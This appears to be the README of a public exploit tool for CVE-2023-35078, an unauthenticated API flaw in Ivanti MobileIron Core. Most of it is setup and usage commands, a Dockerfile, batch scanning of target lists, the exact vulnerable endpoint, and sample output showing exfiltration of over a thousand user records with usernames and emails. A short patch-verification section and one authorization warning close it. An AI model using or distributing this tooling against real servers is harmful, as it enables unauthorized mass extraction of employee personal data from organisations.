██████╗ ███╗   ██╗███████╗███████╗ ██████╗
██╔═████╗████╗  ██║██╔════╝██╔════╝██╔════╝
██║██╔██║██╔██╗ ██║███████╗█████╗  ██║     
████╔╝██║██║╚██╗██║╚════██║██╔══╝  ██║     
╚██████╔╝██║ ╚████║███████║███████╗╚██████╗
 ╚═════╝ ╚═╝  ╚═══╝╚══════╝╚══════╝ ╚═════╝

[+] CVE-2023-35078 - Ivanti MobileIron Core Remote Unauthenticated API Access

# Clone the repository
git clone https://github.com/0nsec/cve-2023-35078-exploit.git
cd cve-2023-35078-exploit

# Install dependencies
pip3 install -r requirements.txt

# Make executable (Linux/macOS)
chmod +x cve_2023_35078.py

# Create project directory
mkdir cve-2023-35078-exploit
cd cve-2023-35078-exploit

# Download the script
wget https://raw.githubusercontent.com/0nsec/cve-2023-35078-exploit/main/cve_2023_35078.py

# Install required packages
pip3 install requests urllib3 termcolor argparse

FROM python:3.9-slim

WORKDIR /app
COPY requirements.txt .
RUN pip install -r requirements.txt

COPY cve_2023_35078.py .
ENTRYPOINT ["python3", "cve_2023_35078.py"]

# Build and run with Docker
docker build -t cve-2023-35078 .
docker run -v $(pwd)/results:/app/results cve-2023-35078 -u https://target.com

# Test single target
python3 cve_2023_35078.py -u https://mobileiron.example.com

# Test multiple targets from file
python3 cve_2023_35078.py -f targets.txt

# Verbose mode with custom output directory
python3 cve_2023_35078.py -f targets.txt -o ./results -v

# Custom timeout and output settings
python3 cve_2023_35078.py -u https://target.com -t 30 -o ./scan_results -v

# Comprehensive corporate assessment
python3 cve_2023_35078.py -f corporate_assets.txt -o ./audit_results -t 30 -v

# Single target with detailed logging
python3 cve_2023_35078.py -u https://mobileiron.target.com -v > detailed_log.txt

# Batch scanning with custom timeout
python3 cve_2023_35078.py -f subnet_scan.txt -t 5 -o ./batch_results

# Quick vulnerability check (no verbose output)
python3 cve_2023_35078.py -u https://quick.check.com -t 5

██████╗ ███╗   ██╗███████╗███████╗ ██████╗
██╔═████╗████╗  ██║██╔════╝██╔════╝██╔════╝
██║██╔██║██╔██╗ ██║███████╗█████╗  ██║     
████╔╝██║██║╚██╗██║╚════██║██╔══╝  ██║     
╚██████╔╝██║ ╚████║███████║███████╗╚██████╗
 ╚═════╝ ╚═╝  ╚═══╝╚══════╝╚══════╝ ╚═════╝

[*] Target: https://vulnerable.mobileiron.com
------------------------------------------------------------
[*] Checking version for: https://vulnerable.mobileiron.com
[*] Detected version: 11.3
[+] Target appears VULNERABLE!
[*] Attempting to exploit: https://vulnerable.mobileiron.com
[*] Trying endpoint: /mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1
[+] SUCCESS! Found 1,247 users
[+] Results saved to: ./results/vulnerable_mobileiron_com_20250821_055013.json
[+] Extracted 1247 user records
[*] Sample fields: ['id', 'username', 'email', 'firstName', 'lastName']...

============================================================
[*] Scan completed!
[*] Targets processed: 1
[*] Successful exploits: 1
[!] WARNING: 1 vulnerable system(s) found!
[!] Ensure proper authorization before testing!

[*] Checking version for: https://test.mobileiron.com
[*] Trying endpoint: /mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1
[*] HTTP 200 - Response length: 45,123 bytes
[*] JSON parsing successful
[*] Found user data structure with 234 records
[+] SUCCESS! Found 234 users
[*] Sample user data: {'id': '12345', 'username': '[email protected]'}
[+] Results saved to: ./results/test_mobileiron_com_20250821_055013.json

# Check current version
curl -k https://mobileiron-server/mifs/css/ui.login.css | grep -o "11\.[0-9]"

# Verify patched endpoints return 401/403
curl -k "https://mobileiron-server/mifs/aad/api/v2/authorized/users?adminDeviceSpaceId=1"